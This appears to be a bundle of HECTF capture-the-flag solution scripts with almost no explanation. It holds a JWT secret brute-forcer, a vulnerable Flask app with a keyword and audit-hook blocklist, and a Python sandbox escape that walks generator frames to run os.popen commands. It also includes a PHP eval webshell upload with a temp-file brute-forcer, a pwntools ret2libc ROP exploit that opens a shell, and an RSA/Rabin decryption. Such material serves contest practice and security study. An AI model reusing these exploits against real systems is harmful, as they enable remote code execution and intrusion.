import jwt
import itertools
import requests
import time
from requests.exceptions import RequestException

def generate_hectf_jwt_list():
    """生成HECTF所有大小写组合对应的JWT列表（返回：[(密钥, JWT令牌), ...]）"""
    # 1. 固定JWT Header（与你提供的token格式一致）
    jwt_header = {
        "alg": "HS256",
        "typ": "JWT"
    }

    # 2. 固定JWT Payload（与你提供的token载荷一致，可按需调整blessed/exp字段）
    jwt_payload = {
        "user": "player",
        "blessed": True,  # 可尝试改为False测试不同状态
        "exp": 1766225297  # 若提示令牌过期，可改为当前时间戳+3600（例如int(time.time())+3600）
    }

    # 3. 生成HECTF所有大小写组合（2^5=32种）
    base_chars = "HECTF"
    char_options = [[c.upper(), c.lower()] for c in base_chars]
    hectf_secret_list = [''.join(comb) for comb in itertools.product(*char_options)]

    # 4. 生成每个密钥对应的JWT
    jwt_list = []
    for secret in hectf_secret_list:
        try:
            jwt_token = jwt.encode(
                payload=jwt_payload,
                key=secret,
                algorithm="HS256",
                headers=jwt_header
            )
            # 兼容pyjwt不同版本的返回格式（部分版本返回bytes，需转为字符串）
            if isinstance(jwt_token, bytes):
                jwt_token = jwt_token.decode("utf-8")
            jwt_list.append((secret, jwt_token))
        except Exception as e:
            print(f"⚠️  密钥 {secret} 生成JWT失败：{e}")
    return jwt_list

def test_jwt_batch(target_url, jwt_list):
    """批量测试JWT有效性，精准识别无效令牌响应，优化输出"""
    # 1. 固定请求头（复用原始请求头，动态替换Cookie）
    base_headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36",
        "Content-Type": "application/x-www-form-urlencoded",
        "Accept": "*/*",
        "Origin": "http://47.100.66.83:32714",
        "Referer": "http://47.100.66.83:32714/",
        "Accept-Encoding": "gzip, deflate",
        "Accept-Language": "zh-CN,zh;q=0.9",
        "Connection": "close"
    }

    # 2. 固定请求体（可按需修改door或courage参数）
    request_body = "door=C&courage=1500"

    # 3. 无效令牌响应标识（用于过滤冗余输出）
    invalid_token_msg = "无效的神圣令牌"

    print(f"🚀 开始批量测试，共{len(jwt_list)}个JWT令牌...")
    print(f"📌 无效令牌响应将自动标记，仅高亮异常/有效结果\n")
    time.sleep(1)  # 延迟1秒，便于查看提示信息

    for idx, (secret, jwt_token) in enumerate(jwt_list, 1):
        # 动态构造Cookie
        current_headers = base_headers.copy()
        current_headers["Cookie"] = f"role=VIP; token={jwt_token}"

        try:
            # 发送POST请求
            response = requests.post(
                url=target_url,
                headers=current_headers,
                data=request_body,
                timeout=10
            )
            response_text = response.text.strip()
            status_code = response.status_code

            # 分类输出结果
            if invalid_token_msg in response_text and status_code == 403:
                # 无效令牌，简化输出
                print(f"第{idx:2d}个 | 密钥: {secret} | 状态: 403（无效令牌）")
            else:
                # 非无效令牌响应，详细输出（可能是有效结果或其他异常）
                print(f"\n===== 第{idx:2d}个测试（非无效令牌）======")
                print(f"密钥: {secret}")
                print(f"JWT: {jwt_token}")
                print(f"状态码: {status_code}")
                print(f"响应内容: {response_text}")
                print("-" * 60 + "\n")

                # 检测flag关键词，找到有效结果立即终止
                if "flag" in response_text.lower():
                    print(f"🎉 找到有效JWT！密钥：{secret}")
                    print(f"🎉 完整响应：{response_text}")
                    return secret, jwt_token

        except RequestException as e:
            # 请求异常，详细输出
            print(f"\n===== 第{idx:2d}个测试（请求异常）======")
            print(f"密钥: {secret}")
            print(f"JWT: {jwt_token}")
            print(f"❌ 异常信息：{e}")
            print("-" * 60 + "\n")

    print("\n🔍 批量测试完成！")
    print(f"提示：若全部为403无效令牌，可尝试：")
    print(f"  1. 修改JWT Payload中的blessed字段（True/False互换）")
    print(f"  2. 更新exp时间戳为当前有效时间（避免令牌过期）")
    print(f"  3. 调整请求体中的door（A/B/C）或courage参数值")
    return None, None

if __name__ == "__main__":
    # 目标URL
    TARGET_URL = "http://47.100.66.83:31648/enter"

    # 1. 生成JWT列表
    print("📌 正在生成HECTF所有大小写组合的JWT...")
    jwt_test_list = generate_hectf_jwt_list()
    print(f"📌 共生成{len(jwt_test_list)}个有效JWT令牌\n")

    # 2. 批量测试
    valid_secret, valid_jwt = test_jwt_batch(TARGET_URL, jwt_test_list)

    # 3. 最终结果汇总
    if valid_secret and valid_jwt:
        print(f"\n✅ 测试成功！")
        print(f"有效密钥：{valid_secret}")
        print(f"有效JWT：{valid_jwt}")
    else:
        print(f"\n❌ 未找到有效JWT，可参考提示调整参数后重试。")

from flask import Flask, request, jsonify, render_template, session, redirect, url_for, flash,send_file, abort
import hashlib
import urllib.parse
import re
import os
import sys
from io import StringIO
from dis import dis
from contextlib import redirect_stdout
from random import randint, randrange, seed
from time import time

app = Flask(__name__)
app.secret_key = 'super_secret_key_for_session_2025'


users = {
    'admin': {
        'password_md5': hashlib.md5('KAlsidhKUHLKjhdskfhkajHSKDJH'.encode()).hexdigest(),
        'email': 'admin@example.com',
        'id_card': '110101199003072316',
        'phone': '13800138000'
    }
}


class SandboxSecurityException(Exception):
    pass
def source_simple_check(source):
    try:
        source.encode("ascii")
    except UnicodeEncodeError:
        raise ValueError("Non-ASCII characters are not allowed")

    dangerous_keywords = [  "__", "getattr", "setattr", "hasattr", "eval", "exec", "compile",
                            "open", "file", "os", "sys", "import", "exit", "quit", "vars",
                            "locals", "delattr", "help", "subprocess", "requests", "socket",
                            "urllib", "ctypes", "marshal", "pickle", "input", "codecs",
                            "__import__", "__builtins__", "__globals__", "__getattribute__",
                            "__class__", "__bases__", "__mro__", "__subclasses__", "__init__",
                            "__name__", "__dict__", "__code__", "__closure__", "__defaults__",
                            "mro", "subclasses", "importlib", "load", "loads", "dump", "dumps",
                            "system", "popen", "spawn", "fork", "exec", "chdir", "remove",
                            "rmdir", "mkdir", "listdir", "environ", "getenv", "putenv",
                            "read", "write", "close", "flush", "seek", "tell", "truncate",
                            "connect", "bind", "listen", "accept", "send", "recv", "gethostname",
                            "gethostbyname", "getaddrinfo", "urlopen", "urlretrieve", "Request",]
    for kw in dangerous_keywords:
        if kw in source.lower():
            raise ValueError(f"Disallowed keyword: {kw}")

def source_opcode_checker(code_obj):
    opcode_io = StringIO()
    dis(code_obj, file=opcode_io)
    opcodes = opcode_io.getvalue().splitlines()
    opcode_io.close()

    allowed_globals = {"print", "len", "str", "int", "float", "randint", "randrange", "seed"}

    for line in opcodes:
        if "LOAD_GLOBAL" in line:
            parts = line.split()
            if len(parts) >= 4 and parts[3].startswith('(') and parts[3].endswith(')'):
                name = parts[3][1:-1]
                if name not in allowed_globals:
                    raise ValueError(f"Disallowed global access: {name}")
        elif "IMPORT_NAME" in line:
            raise ValueError("Import statements are not allowed")
        elif "LOAD_METHOD" in line:
            pass


def temp_audit_hook(event, args):
    dangerous_events = {
        "os.system", "os.popen", "subprocess.Popen", "subprocess.call",
        "subprocess.check_output", "subprocess.run", "subprocess.getoutput",
        "builtins.eval", "builtins.compile", "builtins.__import__", "eval",
        "import", "importlib", "__import__", "importlib.import_module",
        "open", "file", "os.open", "os.read", "os.write",
        "urllib.request.urlopen", "urllib.request.Request", "requests.", "socket.socket",
        "http.client.HTTPConnection", "http.client.HTTPSConnection",
        "ctypes.", "marshal.loads", "os.execv", "os.execve", "os.execvp", "os.execvpe",
        "os.environ", "os.getenv", "os.getpid", "os.getuid",
        "subprocess.Popen", "subprocess.Popen", "os.system",
        "os.remove", "os.unlink", "os.chmod", "os.chown",
    }
    for dangerous_event in dangerous_events:
        if event == dangerous_event or event.startswith(dangerous_event + '.'):
            os._exit(0)



def is_valid_id_card(id_card):
    return bool(re.match(r'^\d{17}[\dXx]$', id_card))


def is_valid_phone(phone):
    return bool(re.match(r'^1[3-9]\d{9}$', phone))


BLOG_DIR = 'blog'
os.makedirs(BLOG_DIR, exist_ok=True)

def get_blog_posts():
    posts = []
    for filename in os.listdir(BLOG_DIR):
        if filename.endswith('.html'):
            match = re.match(r'^(\d+)、(.+)\.html$', filename)
            if match:
                num = int(match.group(1))
                title = match.group(2)
                posts.append({
                    'num': num,
                    'title': title,
                    'filename': filename
                })
    posts.sort(key=lambda x: x['num'], reverse=True)
    return posts

def get_next_post_number():
    max_num = 0
    for filename in os.listdir(BLOG_DIR):
        if filename.endswith('.html'):
            match = re.match(r'^(\d+)、', filename)
            if match:
                num = int(match.group(1))
                if num > max_num:
                    max_num = num
    return max_num + 1


@app.route('/')
def index():
    logged_in = 'username' in session
    posts = get_blog_posts()
    return render_template('index.html', logged_in=logged_in, posts=posts)

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        if not username or not password:
            flash('请输入用户名和密码')
            return render_template('login.html')

        pwd_md5 = hashlib.md5(password.encode()).hexdigest()
        user = users.get(username)
        if user and user['password_md5'] == pwd_md5:
            session['username'] = username
            return redirect('/admin')
        else:
            flash('用户名或密码错误')
    return render_template('login.html')


@app.route('/logout')
def logout():
    session.pop('username', None)
    return redirect('/login')


@app.route('/blog/<filename>')
def view_blog(filename):
    if not filename.endswith('.html'):
        return "无效文件", 400
    filepath = os.path.join(BLOG_DIR, filename)
    if not os.path.exists(filepath):
        return "文章不存在", 404
    with open(filepath, 'r', encoding='utf-8') as f:
        content = f.read()
    return content

@app.route('/admin')
def admin_dashboard():
    if 'username' not in session:
        return redirect('/login')
    next_num = get_next_post_number()
    posts = get_blog_posts()
    return render_template('admin.html', username=session['username'], next_num=next_num, posts=posts)


@app.route('/admin/publish', methods=['POST'])
def publish_blog():
    if 'username' not in session:
        return jsonify({'success': False, 'message': '未登录'}), 403

    title = request.form.get('title', '').strip()
    content = request.form.get('content', '').strip()

    if not title or not content:
        return jsonify({'success': False, 'message': '标题和内容不能为空'})

    next_num = get_next_post_number()
    safe_title = "".join(c if c.isalnum() or c in (' ', '-', '_') else '_' for c in title)
    filename = f"{next_num}、{safe_title}.html"
    filepath = os.path.join(BLOG_DIR, filename)

    with open(filepath, 'w', encoding='utf-8') as f:
        f.write(content)

    return jsonify({'success': True, 'message': f'博客《{title}》发布成功！'})


@app.route('/admin/download')
def download_file():
    if 'username' not in session:
        return redirect('/login')
    filename = request.args.get('file', '')
    if not filename:
        abort(400)
    try:
        filename = urllib.parse.unquote(filename)
    except Exception:
        abort(400)
    file_path = os.path.abspath(filename)
    project_root = os.path.abspath(os.getcwd())
    blog_dir = os.path.abspath('blog')
    allowed_dirs = [project_root, blog_dir]
    if not any(file_path.startswith(allowed + os.sep) or file_path == allowed for allowed in allowed_dirs):
        abort(403)
    basename = os.path.basename(file_path)
    if not (basename == 'app.py' or basename.endswith('.html')):
        abort(403)
    if not os.path.isfile(file_path):
        abort(404)
    return send_file(file_path, as_attachment=True)


@app.route('/admin/oj', methods=['GET', 'POST'])
def oj():
    if 'username' not in session or session['username'] != 'admin':
        return redirect('/login')

    if request.method == 'POST':
        data = request.json
        code = data.get('code', '').strip()

        if not code:
            return jsonify({"error": "代码不能为空"}), 400

        try:
            source_simple_check(code)
            compiled_code = compile(code, "<sandbox>", "exec")
            source_opcode_checker(compiled_code)
            safe_builtins = {
                "print": print,
                "len": len,
                "str": str,
                "int": int,
                "float": float,
                "randint": randint,
                "randrange": randrange,
                "seed": seed,
                "range":range,
            }
            sys.addaudithook(temp_audit_hook)
            stdout = StringIO()
            with redirect_stdout(stdout):
                try:
                    seed(str(time()) + "CTF_SANDBOX" + str(id(code)))
                    exec(compiled_code, {"__builtins__": safe_builtins}, {})
                finally:
                    if hasattr(sys, 'audithooks'):
                        sys.audithooks.clear()

            output = stdout.getvalue()
            return jsonify({"output": output})

        except SandboxSecurityException as e:
            return jsonify({"error": f"安全拦截: {str(e)}"}), 403
        except Exception as e:
            return jsonify({"error": f"执行错误: {str(e)}"}), 400

    return render_template('admin.html', username=session['username'])

@app.route('/reset')
def reset_page():
    return render_template('reset.html')



@app.route('/api/reset/step1', methods=['POST'])
def reset_step1():
    data = request.get_json()
    username = data.get('username')
    email = data.get('email')
    user = users.get(username)
    if user and user['email'] == email:
        return jsonify({'success': True, 'message': '邮箱验证成功'})
    return jsonify({'success': False, 'message': '用户名或邮箱不匹配'})


@app.route('/api/reset/step2', methods=['POST'])
def reset_step2():
    data = request.get_json()
    username = data.get('username')
    id_card = data.get('id_card', '').strip()
    phone = data.get('phone', '').strip()
    user = users.get(username)
    if not user:
        return jsonify({'success': False, 'message': '无效用户'})
    if (
            is_valid_id_card(id_card) and
            is_valid_phone(phone) and
            user['id_card'] == id_card and
            user['phone'] == phone
    ):
        return jsonify({'success': True, 'message': '身份信息验证成功'})
    return jsonify({'success': False, 'message': '身份证号或手机号错误'})


@app.route('/api/reset/step3', methods=['POST'])
def reset_step3():
    data = request.get_json()
    username = data.get('username')
    new_password = data.get('new_password')
    confirm_password = data.get('confirm_password')
    if new_password != confirm_password:
        return jsonify({'success': False, 'message': '两次密码不一致'})
    if username not in users:
        return jsonify({'success': False, 'message': '用户不存在'})
    users[username]['password_md5'] = hashlib.md5(new_password.encode()).hexdigest()
    return jsonify({'success': True, 'message': '密码重置成功！'})


if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0', port=5000)

def waff():
    def f():
        yield g.gi_frame.f_back
    q = (q.gi_frame.f_back.f_back.f_back.f_globals for _ in [1])
    b=[*q][0]
    return b
b=waff()
print(b)

#输出结果
#{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f7cb887bbd0>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': '/app/app.py', '__cached__': None, 'Flask': <class 'flask.app.Flask'>, 'request': <Request 'http://47.92.129.245:5000/admin/oj' [POST]>, 'jsonify': <function jsonify at 0x7f7cb7976a20>, 'render_template': <function render_template at 0x7f7cb769c680>, 'session': <Secu。。。。。。。。

def waff():
    def f():
        yield g.gi_frame.f_back
    q = (q.gi_frame.f_back.f_back.f_back for _ in [1])
    b=[*q][0]
    return b
b=waff()
print(b) 

#<frame at 0x7f7cb76e3de0, file '/app/app.py', line 263, code oj>

def source_opcode_checker(code_obj):
    opcode_io = StringIO()
    dis(code_obj, file=opcode_io)
    opcodes = opcode_io.getvalue().splitlines()
    opcode_io.close()

    allowed_globals = {"print", "len", "str", "int", "float", "randint", "randrange", "seed"}

    for line in opcodes:
        if "LOAD_GLOBAL" in line:
            pass
        elif "IMPORT_NAME" in line:
            raise ValueError("Import statements are not allowed")
        elif "LOAD_METHOD" in line:
            pass


def temp_audit_hook(event, args):
    dangerous_events = {
        "os.system", "os.popen", "subprocess.Popen", "subprocess.call",
        "subprocess.check_output", "subprocess.run", "subprocess.getoutput",
        "builtins.eval", "builtins.compile", "builtins.__import__", "eval",
        "import", "importlib", "__import__", "importlib.import_module",
        "open", "file", "os.open", "os.read", "os.write",
        "urllib.request.urlopen", "urllib.request.Request", "requests.", "socket.socket",
        "http.client.HTTPConnection", "http.client.HTTPSConnection",
        "ctypes.", "marshal.loads", "os.execv", "os.execve", "os.execvp", "os.execvpe",
        "os.environ", "os.getenv", "os.getpid", "os.getuid",
        "subprocess.Popen", "subprocess.Popen", "os.system",
        "os.remove", "os.unlink", "os.chmod", "os.chown",
    }
    for dangerous_event in dangerous_events:
        if event == dangerous_event or event.startswith(dangerous_event + '.'):
            pass

def waff():
    def f():
        yield g.gi_frame.f_back
    q = (q.gi_frame.f_back.f_back.f_back.f_globals for _ in [1])
    b=[*q][0]
    return b
b=waff()
print(b)

#{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7fcb0591f090>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>,。。。。。。。。。

def waff():
    def f():
        yield g.gi_frame.f_back
    q = (q.gi_frame.f_back.f_back.f_back.f_back.f_globals for _ in [1])
    b=[*q][0]
    return b
b=waff()
print(b)

#。。。。。。'__builtins__': {'__name__': 'builtins', '__doc__': "Built-in functions, types, exceptions, and other objects.\n\nThis module provides direct access to all 'built-in'\nidentifiers of Python; for example, builtins.len is\nthe full name for the built-in function len().\n\nThi 。。。。。。

def waff():
    def f():
        yield g.gi_frame.f_back
    q = (q.gi_frame.f_back.f_back.f_back.f_globals for _ in [1])
    b=[*q][0]
    if '_'*2+'builtins'+'_'*2 in b:
        print('ok')
    return b
b=waff()

# ok

def waff():
    def f():
        yield g.gi_frame.f_back
    q = (q.gi_frame.f_back.f_back.f_back.f_back.f_globals for _ in [1])
    b=[*q][0]
    if 'o'+'s' in b:
        b['_'*2+'builtins'+'_'*2]['set'+'attr'](b['o'+'s'], "_ex"+"it", print)
    return b
b=waff()

def waff():
    def f():
        yield g.gi_frame.f_back
    q = (q.gi_frame.f_back.f_back.f_back.f_back.f_globals for _ in [1])
    b=[*q][0]
    if 'o'+'s' in b:
        b['_'*2+'builtins'+'_'*2]['set'+'attr'](b['o'+'s'], "_ex"+"it", print)
    return b
b=waff()
o_modules = b['_'*2+'builtins'+'_'*2]['get'+'attr']((b['_'*2+'builtins'+'_'*2]['get'+'attr'](b['o'+'s'], 'po'+'pen')('whoami')),"_proc").stdout
for o_module in o_modules:
    print(o_module)

#0。。。。。。
#root

def waff():
    def f():
        yield g.gi_frame.f_back
    q = (q.gi_frame.f_back.f_back.f_back.f_back.f_globals for _ in [1])
    b=[*q][0]
    if 'o'+'s' in b:
        b['_'*2+'builtins'+'_'*2]['set'+'attr'](b['o'+'s'], "_ex"+"it", print)
    return b
b=waff()
o_modules = b['_'*2+'builtins'+'_'*2]['get'+'attr']((b['_'*2+'builtins'+'_'*2]['get'+'attr'](b['o'+'s'], 'po'+'pen')('whoami')),"_proc").stdout
for o_module in o_modules:
    print(o_module)

def waff():
    def f():
        yield g.gi_frame.f_back
    q = (q.gi_frame.f_back.f_back.f_back.f_back.f_globals for _ in [1])
    b=[*q][0]
    if 'o'+'s' in b:
        b['_'*2+'builtins'+'_'*2]['set'+'attr'](b['o'+'s'], "_ex"+"it", print)
    return b
b=waff()
o_modules = b['_'*2+'builtins'+'_'*2]['get'+'attr']((b['_'*2+'builtins'+'_'*2]['get'+'attr'](b['o'+'s'], 'po'+'pen')('cat /aaaFffLllA44Ggg')),"_proc").stdout
for o_module in o_modules:
    print(o_module)

def f():
    x=(x.gi_frame.f_back for _ in [1]); return [*x][0]
fr=f(); k="\x6f\x73".encode().decode("unicode_escape"); p=fr
while p:
    g=p.f_globals
    if k in g:
        o=g[k]
        print([e.name for e in o.scandir("/")])
        print([e.name for e in o.scandir("/app")])
        break
    p=p.f_back

import requests
from io import BytesIO #BytesIO实现了在内存中读写bytes
payload = "<?php eval($_POST[cmd]);?>"
data={'file': BytesIO(payload.encode())}
url="http://8.153.93.57:30372/?file=php://filter/string.strip_tags/resource=index.php"
r=requests.post(url=url,files=data,allow_redirects=False)

import requests
import string
import time

# 目标URL的基础部分（??为待爆破位置）
base_url = "http://8.153.93.57:30372/?file=/tmp/php{}{}DAyj"

# 爆破字符集：数字 + 大写字母 + 小写字母
chars = string.digits + string.ascii_uppercase + string.ascii_lowercase

# 请求头（根据提供的数据包构造，修正换行语法问题）
headers = {
    "Host": "ip",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding": "gzip, deflate",
    "Connection": "close",
    "Cookie": "BEEFHOOK=v9l9riSiUl5aAaBp1TD92APnVIe94w8whQSHqUW1p9KX43aUihRWqBASlt608WnLT6N4BfmKPSczQ0IN",
    "Upgrade-Insecure-Requests": "1",
    "Priority": "u=0, i",
    "Content-Type": "application/x-www-form-urlencoded"
}

# POST数据
data = "cmd=phpinfo();"

# 成功标识（phpinfo()的特征内容，可根据实际情况调整）
success_flag = "PHP Version"

# 遍历所有可能的两位组合

for c1 in chars:
    for c2 in chars:
        # 构造完整URL
        target_url = base_url.format(c1, c2)
        print(f"尝试: {target_url}")

        try:
            # 发送POST请求（超时时间10秒）
            response = requests.post(
                url=target_url,
                headers=headers,
                data=data,
                timeout=10,
                verify=False  # 忽略SSL证书验证（如果需要）
            )

            # 检查响应中是否包含成功标识
            if success_flag in response.text:
                print(f"\n[!] 爆破成功！正确组合: {c1}{c2}")
                print(f"[!] 响应内容片段: {response.text[:500]}")  # 输出部分响应
                exit()  # 找到后退出

            # 避免请求过于频繁，间隔0.5秒（可根据目标调整）
            time.sleep(0.1)

        except requests.exceptions.RequestException as e:
            print(f"请求错误: {e}")
            continue

print("\n[!] 所有组合尝试完毕，未找到匹配结果")

from pwn import *
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context(arch='amd64', os='linux', log_level='debug')
io = remote("47.100.66.83",30527)

io.recvuntil(b"Enter choice:")
io.sendline(b"2")
io.recvuntil(b"Enter admin password:\n")
io.sendline(b"shopadmin123")
io.recvuntil(b"Enter total purchase amount:\n")
io.sendline(b"-1")
io.recvuntil(b"Enter product name:\n")
io.sendline(b"aaaaa")
io.recvuntil(b"Enter product price:\n")
io.sendline(b"1")
io.recvuntil(b"Enter purchase description:\n")

pop_edi_ret = 0x0000000000401240
ret = 0x000000000040101a
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
record_purchase = elf.symbols["main"]


payload = b"a"*0x58 + p64(ret) + p64(pop_edi_ret) + p64(puts_got) + p64(puts_plt)+ p64(ret) + p64(record_purchase)
io.sendline(payload)
puts_real = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b'\x00'))
print(hex(puts_real))
libc_base = puts_real - libc.sym["puts"]
print(hex(libc_base))
syst_addr = libc_base + libc.sym["system"]
binsh = libc_base + next(libc.search(b"/bin/sh"))

io.recvuntil(b"Enter choice:")
io.sendline(b"2")
io.recvuntil(b"Enter admin password:\n")
io.sendline(b"shopadmin123")
io.recvuntil(b"Enter total purchase amount:\n")
io.sendline(b"-1")
io.recvuntil(b"Enter product name:\n")
io.sendline(b"aaaaa")
io.recvuntil(b"Enter product price:\n")
io.sendline(b"1")
io.recvuntil(b"Enter purchase description:\n")


payload = b"a"*0x58 + p64(ret) + p64(pop_edi_ret) + p64(binsh) + p64(syst_addr)+ p64(ret) + p64(record_purchase)
io.sendline(payload)

io.interactive()

from Crypto.Util.number import *
from secret import flag

def getmodule(bits):
    while True:
        f = getPrime(bits)
        g = getPrime(bits)
        p = (f<<bits)+g
        q = (g<<bits)+f
        if isPrime(p) and isPrime(q):
            assert  p%4 == 3 and q%4 == 3
            n = p * q
            break
    return n

e = 8
n = getmodule(128)

m = bytes_to_long(flag)
c = pow(m,e,n)

print('c =',c)
print('n =',n)

"""
c = 5573794528528829992069712881335829633592490157207670497446565713699227752853445149101948822818379411492395823975723302499892036773925698697672557700027422
n = 6060692198787960152570793202726365711311067556697852613814176910700809041055277955552588176731629472381832554602777717596533323522044796564358407030079609
"""

from Crypto.Util.number import *
import gmpy2
n = 6060692198787960152570793202726365711311067556697852613814176910700809041055277955552588176731629472381832554602777717596533323522044796564358407030079609
K = 2**128
L = n % K
M_low = (n >> 128) % K
M_high = (n >> 256) % K
H = n >> 384

found = False
for carry in [0, 1]:
    A_hi = H - carry
    if A_hi < 0 or A_hi >= K:
        continue
    A = (A_hi << 128) + L
    Y = (carry << 256) + (M_high << 128) + M_low
    B = Y - (L << 128) - A_hi
    if B <= 0:
        continue
    u_sq = B + 2 * A
    d_sq = B - 2 * A
    u, u_rem = gmpy2.iroot(u_sq, 2)
    d, d_rem = gmpy2.iroot(d_sq, 2)
    if not (u_rem and d_rem):
        continue
    u = int(u)
    d = int(d)
    f = (u + d) // 2
    g = (u - d) // 2
    if isPrime(f) and isPrime(g) and f.bit_length() == 128 and g.bit_length() == 128:
        p = (f << 128) + g
        q = (g << 128) + f
        if p * q == n:
            found = True
            break

print("p:",p)
print("q:",q)

#p: 94775913392603172629814422762806227966393098973930911178857725348364686169243
#q: 63947599994968442166142762354632092599995017543858024932091322657529881751163

import gmpy2
import libnum
from Cryptodome.Util.number import *

# 已知参数
p = 94775913392603172629814422762806227966393098973930911178857725348364686169243
q = 63947599994968442166142762354632092599995017543858024932091322657529881751163
n = p * q
c = 5573794528528829992069712881335829633592490157207670497446565713699227752853445149101948822818379411492395823975723302499892036773925698697672557700027422
e = 8

def rabin_sqrt(x, p, q, n):
    """
    单个值的Rabin二次开方（核心函数）：求解 y² ≡ x mod n
    返回模n下的4个二次剩余解（Rabin解密的标准4个解）
    """
    if x == 0:
        return [0]
    
    # 1. 分别在模p、模q下求解二次剩余（利用4k+3素数特性）
    yp1 = pow(x, (p + 1) // 4, p)
    yp2 = p - yp1  # 模p的两个解
    yq1 = pow(x, (q + 1) // 4, q)
    yq2 = q - yq1  # 模q的两个解
    
    # 2. 预计算模逆（避免重复计算）
    inv_p = gmpy2.invert(p, q)
    inv_q = gmpy2.invert(q, p)
    
    # 3. 用中国剩余定理（CRT）合并4种解的组合，得到模n的4个解
    # 组合1：yp1 & yq1
    y1 = (inv_q * q * yp1 + inv_p * p * yq1) % n
    # 组合2：yp1 & yq2
    y2 = (inv_q * q * yp1 + inv_p * p * yq2) % n
    # 组合3：yp2 & yq1
    y3 = (inv_q * q * yp2 + inv_p * p * yq1) % n
    # 组合4：yp2 & yq2
    y4 = (inv_q * q * yp2 + inv_p * p * yq2) % n
    
    return [int(y1), int(y2), int(y3), int(y4)]

def solve_e8_with_rabin(c, p, q, n):
    """
    利用Rabin核心思想求解e=8的情况：m⁸ ≡ c mod n
    步骤：连续3次二次开方（8=2³），逐步迭代候选解
    """
    # 第1次开方：求解 x1² ≡ c mod n → x1 = m^4（初始候选解）
    candidates_1 = rabin_sqrt(c, p, q, n)
    print(f"第1次开方（得到m^4的候选解）：共{len(candidates_1)}个")
    
    # 第2次开方：对每个x1，求解 x2² ≡ x1 mod n → x2 = m^2
    candidates_2 = set()  # 用集合去重
    for x1 in candidates_1:
        res = rabin_sqrt(x1, p, q, n)
        candidates_2.update(res)
    candidates_2 = list(candidates_2)
    print(f"第2次开方（得到m^2的候选解）：共{len(candidates_2)}个")
    
    # 第3次开方：对每个x2，求解 x3² ≡ x2 mod n → x3 = m（最终明文候选）
    candidates_3 = set()
    for x2 in candidates_2:
        res = rabin_sqrt(x2, p, q, n)
        candidates_3.update(res)
    candidates_3 = list(candidates_3)
    print(f"第3次开方（得到m的候选解）：共{len(candidates_3)}个")
    
    # 验证候选解：确保m^8 ≡ c mod n（过滤无效解）
    valid_m = []
    for m in candidates_3:
        if pow(m, e, n) == c:
            valid_m.append(m)
    
    return valid_m

def filter_flag(valid_m):
    """筛选有效flag（可打印字符、含flag格式）"""
    print("\n========== 开始筛选有效flag ==========")
    for idx, m in enumerate(valid_m):
        # 两种字节转换方式（兼容不同库）
        bytes1 = long_to_bytes(int(m))
        bytes2 = libnum.n2s(int(m))
        # 尝试解码为可打印字符串
        try:
            text1 = bytes1.decode('utf-8', errors='ignore')
            text2 = bytes2.decode('utf-8', errors='ignore')
        except:
            text1 = "无法解码"
            text2 = "无法解码"
        # 打印候选结果
        print(f"\n候选解{idx+1}：")
        print(f"明文m：{m}")
        print(f"long_to_bytes结果：{bytes1} | 解码后：{text1}")
        print(f"libnum.n2s结果：{bytes2} | 解码后：{text2}")
        # 筛选含flag标识的有效结果
        if "flag" in text1 or "FLAG" in text1 or "flag" in text2 or "FLAG" in text2:
            print(f"★ 找到有效flag：{text1 if 'flag' in text1 else text2}")
            return m, text1 if 'flag' in text1 else text2
    print("\n未自动筛选到flag，请手动查看候选解中的可打印字符串")
    return None, None

if __name__ == "__main__":
    # 1. 连续3次Rabin开方，求解所有有效明文候选
    valid_m_list = solve_e8_with_rabin(c, p, q, n)
    print(f"\n验证后有效明文候选数：{len(valid_m_list)}")
    
    # 2. 筛选并输出flag
    final_m, final_flag = filter_flag(valid_m_list)
    
    # 3. 最终结果汇总
    if final_flag:
        print("\n========== 解密完成 ==========")
        print(f"最终明文m：{final_m}")
        print(f"最终flag：{final_flag}")
    else:
        print("\n========== 解密结束：未找到明确flag，请手动核对候选解 ==========")
        
        
#最终flag：HECTF{this_is_a_flag_emm_is_a_true_flag_ok_all_right}